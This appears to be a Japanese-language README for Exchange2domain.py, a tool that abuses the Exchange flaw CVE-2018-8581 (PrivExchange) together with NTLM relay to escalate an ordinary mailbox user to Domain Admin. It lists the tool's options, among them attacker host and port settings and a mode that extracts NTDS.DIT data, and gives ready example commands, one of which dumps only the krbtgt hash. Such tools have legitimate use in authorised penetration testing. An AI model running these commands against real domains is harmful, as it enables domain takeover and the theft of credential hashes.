
CVE-2018-8581
privexchange のオールインワンツール。Webサーバーポートを開くだけで良いため、高い権限は必要ありません。
素晴らしい解説記事: Abusing Exchange: One API call away from Domain Admin.
これらのツールは impacket を必要とします。pip から pip install impacket でインストールできます。
usage: Exchange2domain.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD]
[--hashes HASHES] [--no-ssl]
[--exchange-port EXCHANGE_PORT] -ah ATTACKER_HOST
[-ap ATTACKER_PORT] -th TARGET_HOST
[-exec-method [{smbexec,wmiexec,mmcexec}]]
[--exchange-version EXCHANGE_VERSION]
[--attacker-page ATTACKER_PAGE]
[--just-dc-user USERNAME] [--debug]
HOSTNAME
Exchange を悪用して権限を Domain Admin に昇格します。ntlmrelayx と一緒に使用してください。
位置引数:
HOSTNAME Exchange サーバーのホスト名/IP
オプション引数:
-h, --help このヘルプメッセージを表示して終了
-u USERNAME, --user USERNAME
認証用のユーザー名
-d DOMAIN, --domain DOMAIN
ユーザーが所属するドメイン (FQDN または NETBIOS ドメイン名)
-p PASSWORD, --password PASSWORD
認証用のパスワード。指定されず、かつ NT:NTLM ハッシュも提供されない場合はプロンプトが表示されます
--hashes HASHES LM:NLTM ハッシュ
--no-ssl HTTPS を使用しない (ポート 80 に接続)
--exchange-port EXCHANGE_PORT
代替 EWS ポート (デフォルト: 443 または 80)
-ah ATTACKER_HOST, --attacker-host ATTACKER_HOST
攻撃者のホスト名または IP
-ap ATTACKER_PORT, --attacker-port ATTACKER_PORT
リレー攻撃を実行するポート (デフォルト: 80)
-th TARGET_HOST, --target-host TARGET_HOST
DC のホスト名または IP
-exec-method [{smbexec,wmiexec,mmcexec}]
ターゲットで使用するリモート実行方式 (--use-vss 使用時のみ)。デフォルト: smbexec
--exchange-version EXCHANGE_VERSION
ターゲットの Exchange バージョン (デフォルト: Exchange2013, 選択肢: Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, Exchange2013_SP1, Exchange2016)
--attacker-page ATTACKER_PAGE
攻撃者サーバーに要求するページ (デフォルト: /privexchange/)
--just-dc-user USERNAME
指定したユーザーの NTDS.DIT データのみ抽出します。DRSUAPI アプローチでのみ利用可能です。
--debug デバッグ出力を有効にする
例:
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip

krbtgt のみをダンプしたい場合は、--just-dc-user を使用します。
例:
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
自動バックアップ 旧SD をリストア用に。
